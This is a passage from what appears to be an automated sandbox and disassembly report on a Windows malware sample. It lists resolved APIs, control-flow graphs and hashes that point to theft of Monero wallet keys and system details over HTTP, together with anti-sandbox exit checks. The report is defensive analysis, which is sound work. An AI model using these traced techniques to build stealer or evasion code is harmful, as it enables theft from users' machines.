                                      • GetProcAddress.KERNEL32(76910000,00F4D7D8), ref: 0060A724
                                      • GetProcAddress.KERNEL32(75B30000,00F35248), ref: 0060A746
                                      • GetProcAddress.KERNEL32(75B30000,00F4D7F0), ref: 0060A75E
                                      • GetProcAddress.KERNEL32(75B30000,00F4DA18), ref: 0060A776
                                      • GetProcAddress.KERNEL32(75B30000,00F4D928), ref: 0060A78F
                                      • GetProcAddress.KERNEL32(75B30000,00F4D940), ref: 0060A7A7
                                      • GetProcAddress.KERNEL32(75670000,00F35148), ref: 0060A7C8
                                      • GetProcAddress.KERNEL32(75670000,00F35228), ref: 0060A7E1
                                      • GetProcAddress.KERNEL32(76AC0000,00F35048), ref: 0060A802
                                      • GetProcAddress.KERNEL32(76AC0000,00F4DA60), ref: 0060A81A
                                      • GetProcAddress.KERNEL32(6F4E0000,00F350A8), ref: 0060A840
                                      • GetProcAddress.KERNEL32(6F4E0000,00F35168), ref: 0060A858
                                      • GetProcAddress.KERNEL32(6F4E0000,00F352C8), ref: 0060A870
                                      • GetProcAddress.KERNEL32(6F4E0000,00F4DC10), ref: 0060A889
                                      • GetProcAddress.KERNEL32(6F4E0000,00F352E8), ref: 0060A8A1
                                      • GetProcAddress.KERNEL32(6F4E0000,00F34F88), ref: 0060A8B9
                                      • GetProcAddress.KERNEL32(6F4E0000,00F35068), ref: 0060A8D2
                                      • GetProcAddress.KERNEL32(6F4E0000,00F35308), ref: 0060A8EA
                                      • GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0060A901
                                      • GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0060A917
                                      • GetProcAddress.KERNEL32(75AE0000,00F4DAD8), ref: 0060A939
                                      • GetProcAddress.KERNEL32(75AE0000,00F48C38), ref: 0060A951
                                      • GetProcAddress.KERNEL32(75AE0000,00F4DD48), ref: 0060A969
                                      • GetProcAddress.KERNEL32(75AE0000,00F4DAF0), ref: 0060A982
                                      • GetProcAddress.KERNEL32(76300000,00F35328), ref: 0060A9A3
                                      • GetProcAddress.KERNEL32(6FE30000,00F4DB80), ref: 0060A9C4
                                      • GetProcAddress.KERNEL32(6FE30000,00F34FC8), ref: 0060A9DD
                                      • GetProcAddress.KERNEL32(6FE30000,00F4DC40), ref: 0060A9F5
                                      • GetProcAddress.KERNEL32(6FE30000,00F4DC70), ref: 0060AA0D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AddressProc$LibraryLoad
                                      • String ID: HttpQueryInfoA$InternetSetOptionA
                                      • API String ID: 2238633743-1775429166
                                      • Opcode ID: 1834069da3ff1d7cbea07daab88b41292e548bd8560375bc925c0a4352eb61ab
                                      • Instruction ID: bcf9aef14759658e2f96425d03a066f6d0499705b31ebe553accf1dbbe0935f5
                                      • Opcode Fuzzy Hash: 1834069da3ff1d7cbea07daab88b41292e548bd8560375bc925c0a4352eb61ab
                                      • Instruction Fuzzy Hash: DB62FCB66182009FC344DFA9ED88D567BB9F74D701718862BFA1AC3270EB35A951CF60
                                      Function 005F48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 801 5f48d0-5f4992 call 60aab0 call 5f4800 call 60aa50 * 5 InternetOpenA StrCmpCA 816 5f499b-5f499f 801->816 817 5f4994 801->817 818 5f4f1b-5f4f43 InternetCloseHandle call 60ade0 call 5fa210 816->818 819 5f49a5-5f4b1d call 608cf0 call 60ac30 call 60abb0 call 60ab10 * 2 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60ac30 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60ac30 call 60abb0 call 60ab10 * 2 InternetConnectA 816->819 817->816 829 5f4f45-5f4f7d call 60ab30 call 60acc0 call 60abb0 call 60ab10 818->829 830 5f4f82-5f4ff2 call 608b20 * 2 call 60aab0 call 60ab10 * 8 818->830 819->818 905 5f4b23-5f4b27 819->905 829->830 906 5f4b29-5f4b33 905->906 907 5f4b35 905->907 908 5f4b3f-5f4b72 HttpOpenRequestA 906->908 907->908 909 5f4f0e-5f4f15 InternetCloseHandle 908->909 910 5f4b78-5f4e78 call 60acc0 call 60abb0 call 60ab10 call 60ac30 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60ac30 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60ac30 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60acc0 call 60abb0 call 60ab10 call 60ac30 call 60abb0 call 60ab10 call 60aa50 call 60ac30 * 2 call 60abb0 call 60ab10 * 2 call 60ade0 lstrlen call 60ade0 * 2 lstrlen call 60ade0 HttpSendRequestA 908->910 909->818 1021 5f4e82-5f4eac InternetReadFile 910->1021 1022 5f4eae-5f4eb5 1021->1022 1023 5f4eb7-5f4f09 InternetCloseHandle call 60ab10 1021->1023 1022->1023 1024 5f4eb9-5f4ef7 call 60acc0 call 60abb0 call 60ab10 1022->1024 1023->909 1024->1021
                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005F4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4889
                                        • Part of subcall function 005F4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4899
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005F4965
                                      • StrCmpCA.SHLWAPI(?,00F4FD10), ref: 005F498A
                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F4B0A
                                      • lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00610DDE,00000000,?,?,00000000,?,",00000000,?,00F4FC70), ref: 005F4E38
                                      • lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005F4E54
                                      • HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005F4E68
                                      • InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005F4E99
                                      • InternetCloseHandle.WININET(00000000), ref: 005F4EFD
                                      • InternetCloseHandle.WININET(00000000), ref: 005F4F15
                                      • HttpOpenRequestA.WININET(00000000,00F4FC10,?,00F4F4E8,00000000,00000000,00400100,00000000), ref: 005F4B65
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • InternetCloseHandle.WININET(00000000), ref: 005F4F1F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
                                      • String ID: "$"$------$------$------
                                      • API String ID: 460715078-2180234286
                                      • Opcode ID: cd58488e6a426984dab164a75f40ad6b9fd39cc8c75c64bb649666c035e9a034
                                      • Instruction ID: 4bf7f303c018d9139d013f2c3c8758a1af258491f2727d1b5b513c552197d8b0
                                      • Opcode Fuzzy Hash: cd58488e6a426984dab164a75f40ad6b9fd39cc8c75c64bb649666c035e9a034
                                      • Instruction Fuzzy Hash: A012DA729502189ADB58EBD0DDA2FEFB77AAF14340F50459DF106620D1EF702A88CF69
                                      Function 00605760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 1090 605760-6057c7 call 605d20 call 60ab30 * 3 call 60aa50 * 4 1106 6057cc-6057d3 1090->1106 1107 6057d5-605806 call 60ab30 call 60aab0 call 5f1590 call 605440 1106->1107 1108 605827-60589c call 60aa50 * 2 call 5f1590 call 605510 call 60abb0 call 60ab10 call 60ade0 StrCmpCA 1106->1108 1124 60580b-605822 call 60abb0 call 60ab10 1107->1124 1134 6058e3-6058f9 call 60ade0 StrCmpCA 1108->1134 1138 60589e-6058de call 60aab0 call 5f1590 call 605440 call 60abb0 call 60ab10 1108->1138 1124->1134 1139 605a2c-605a94 call 60abb0 call 60ab30 * 2 call 5f16b0 call 60ab10 * 4 call 5f1670 call 5f1550 1134->1139 1140 6058ff-605906 1134->1140 1138->1134 1270 605d13-605d16 1139->1270 1143 605a2a-605aaf call 60ade0 StrCmpCA 1140->1143 1144 60590c-605913 1140->1144 1162 605be1-605c49 call 60abb0 call 60ab30 * 2 call 5f16b0 call 60ab10 * 4 call 5f1670 call 5f1550 1143->1162 1163 605ab5-605abc 1143->1163 1147 605915-605969 call 60ab30 call 60aab0 call 5f1590 call 605440 call 60abb0 call 60ab10 1144->1147 1148 60596e-6059e3 call 60aa50 * 2 call 5f1590 call 605510 call 60abb0 call 60ab10 call 60ade0 StrCmpCA 1144->1148 1147->1143 1148->1143 1249 6059e5-605a25 call 60aab0 call 5f1590 call 605440 call 60abb0 call 60ab10 1148->1249 1162->1270 1170 605ac2-605ac9 1163->1170 1171 605bdf-605c64 call 60ade0 StrCmpCA 1163->1171 1178 605b23-605b98 call 60aa50 * 2 call 5f1590 call 605510 call 60abb0 call 60ab10 call 60ade0 StrCmpCA 1170->1178 1179 605acb-605b1e call 60ab30 call 60aab0 call 5f1590 call 605440 call 60abb0 call 60ab10 1170->1179 1199 605c66-605c71 Sleep 1171->1199 1200 605c78-605ce1 call 60abb0 call 60ab30 * 2 call 5f16b0 call 60ab10 * 4 call 5f1670 call 5f1550 1171->1200 1178->1171 1275 605b9a-605bda call 60aab0 call 5f1590 call 605440 call 60abb0 call 60ab10 1178->1275 1179->1171 1199->1106 1200->1270 1249->1143 1275->1171
                                      APIs
                                        • Part of subcall function 0060AB30: lstrlen.KERNEL32(005F4F55,?,?,005F4F55,00610DDF), ref: 0060AB3B
                                        • Part of subcall function 0060AB30: lstrcpy.KERNEL32(00610DDF,00000000), ref: 0060AB95
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605894
                                      • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006058F1
                                      • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605AA7
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 00605440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605478
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 00605510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605568
                                        • Part of subcall function 00605510: lstrlen.KERNEL32(00000000), ref: 0060557F
                                        • Part of subcall function 00605510: StrStrA.SHLWAPI(00000000,00000000), ref: 006055B4
                                        • Part of subcall function 00605510: lstrlen.KERNEL32(00000000), ref: 006055D3
                                        • Part of subcall function 00605510: lstrlen.KERNEL32(00000000), ref: 006055FE
                                      • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006059DB
                                      • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605B90
                                      • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605C5C
                                      • Sleep.KERNEL32(0000EA60), ref: 00605C6B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpylstrlen$Sleep
                                      • String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
                                      • API String ID: 507064821-2791005934
                                      • Opcode ID: 6519cc89cdda7453f3a64e6efa1aa915b35ad23c39ccd479fa0a18dfecc6d4ff
                                      • Instruction ID: d510a49880e5bf445d167226450b19e2eb173d095779b53d203d7fc30202557b
                                      • Opcode Fuzzy Hash: 6519cc89cdda7453f3a64e6efa1aa915b35ad23c39ccd479fa0a18dfecc6d4ff
                                      • Instruction Fuzzy Hash: 93E13072A502089ACB5CFBE0DDA6DFF733AAF54340F40856CA507560D1EF356A48CB6A
                                      Function 006019F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 1301 6019f0-601a1d call 60ade0 StrCmpCA 1304 601a27-601a41 call 60ade0 1301->1304 1305 601a1f-601a21 ExitProcess 1301->1305 1309 601a44-601a48 1304->1309 1310 601c12-601c1d call 60ab10 1309->1310 1311 601a4e-601a61 1309->1311 1313 601a67-601a6a 1311->1313 1314 601bee-601c0d 1311->1314 1316 601bc0-601bd1 StrCmpCA 1313->1316 1317 601b41-601b52 StrCmpCA 1313->1317 1318 601ba1-601bb2 StrCmpCA 1313->1318 1319 601b82-601b93 StrCmpCA 1313->1319 1320 601b63-601b74 StrCmpCA 1313->1320 1321 601a85-601a94 call 60ab30 1313->1321 1322 601aad-601abe StrCmpCA 1313->1322 1323 601acf-601ae0 StrCmpCA 1313->1323 1324 601a71-601a80 call 60ab30 1313->1324 1325 601a99-601aa8 call 60ab30 1313->1325 1326 601afd-601b0e StrCmpCA 1313->1326 1327 601b1f-601b30 StrCmpCA 1313->1327 1328 601bdf-601be9 call 60ab30 1313->1328 1314->1309 1340 601bd3-601bd6 1316->1340 1341 601bdd 1316->1341 1331 601b54-601b57 1317->1331 1332 601b5e 1317->1332 1337 601bb4-601bb7 1318->1337 1338 601bbe 1318->1338 1335 601b95-601b98 1319->1335 1336 601b9f 1319->1336 1333 601b80 1320->1333 1334 601b76-601b79 1320->1334 1321->1314 1346 601ac0-601ac3 1322->1346 1347 601aca 1322->1347 1348 601ae2-601aec 1323->1348 1349 601aee-601af1 1323->1349 1324->1314 1325->1314 1350 601b10-601b13 1326->1350 1351 601b1a 1326->1351 1329 601b32-601b35 1327->1329 1330 601b3c 1327->1330 1328->1314 1329->1330 1330->1314 1331->1332 1332->1314 1333->1314 1334->1333 1335->1336 1336->1314 1337->1338 1338->1314 1340->1341 1341->1314 1346->1347 1347->1314 1355 601af8 1348->1355 1349->1355 1350->1351 1351->1314 1355->1314
                                      APIs
                                      • StrCmpCA.SHLWAPI(00000000,block), ref: 00601A15
                                      • ExitProcess.KERNEL32 ref: 00601A21
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ExitProcess
                                      • String ID: block
                                      • API String ID: 621844428-2199623458
                                      • Opcode ID: 16c4315d105b169afa7c56635e63aceaca1bc9d66b0e04b5c4ec8029a0299d51
                                      • Instruction ID: f58c67e351d88b8b725b4c59b96e559d4dbae7429daaaf383c575aa9a27c4e7a
                                      • Opcode Fuzzy Hash: 16c4315d105b169afa7c56635e63aceaca1bc9d66b0e04b5c4ec8029a0299d51
                                      • Instruction Fuzzy Hash: F3511B74B44209ABDB08DFE4D955EEF77BAAF45744F10808CE412AB290E774EA81CB61
                                      Function 00606C90 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F415A8), ref: 00609BF1
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41728), ref: 00609C0A
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F415D8), ref: 00609C22
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41518), ref: 00609C3A
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F416F8), ref: 00609C53
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F48AF8), ref: 00609C6B
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F35488), ref: 00609C83
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F35688), ref: 00609C9C
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41608), ref: 00609CB4
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41620), ref: 00609CCC
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41710), ref: 00609CE5
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41638), ref: 00609CFD
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F355A8), ref: 00609D15
                                        • Part of subcall function 00609BB0: GetProcAddress.KERNEL32(76210000,00F41740), ref: 00609D2E
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 005F11D0: ExitProcess.KERNEL32 ref: 005F1211
                                        • Part of subcall function 005F1160: GetSystemInfo.KERNEL32(?), ref: 005F116A
                                        • Part of subcall function 005F1160: ExitProcess.KERNEL32 ref: 005F117E
                                        • Part of subcall function 005F1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005F112B
                                        • Part of subcall function 005F1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 005F1132
                                        • Part of subcall function 005F1110: ExitProcess.KERNEL32 ref: 005F1143
                                        • Part of subcall function 005F1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005F123E
                                        • Part of subcall function 005F1220: __aulldiv.LIBCMT ref: 005F1258
                                        • Part of subcall function 005F1220: __aulldiv.LIBCMT ref: 005F1266
                                        • Part of subcall function 005F1220: ExitProcess.KERNEL32 ref: 005F1294
                                        • Part of subcall function 00606A10: GetUserDefaultLangID.KERNEL32 ref: 00606A14
                                        • Part of subcall function 005F1190: ExitProcess.KERNEL32 ref: 005F11C6
                                        • Part of subcall function 006079E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005F11B7), ref: 00607A10
                                        • Part of subcall function 006079E0: RtlAllocateHeap.NTDLL(00000000), ref: 00607A17
                                        • Part of subcall function 006079E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00607A2F
                                        • Part of subcall function 00607A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607AA0
                                        • Part of subcall function 00607A70: RtlAllocateHeap.NTDLL(00000000), ref: 00607AA7
                                        • Part of subcall function 00607A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00607ABF
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F48AB8,?,006110F4,?,00000000,?,006110F8,?,00000000,00610AF3), ref: 00606D6A
                                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00606D88
                                      • CloseHandle.KERNEL32(00000000), ref: 00606D99
                                      • Sleep.KERNEL32(00001770), ref: 00606DA4
                                      • CloseHandle.KERNEL32(?,00000000,?,00F48AB8,?,006110F4,?,00000000,?,006110F8,?,00000000,00610AF3), ref: 00606DBA
                                      • ExitProcess.KERNEL32 ref: 00606DC2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
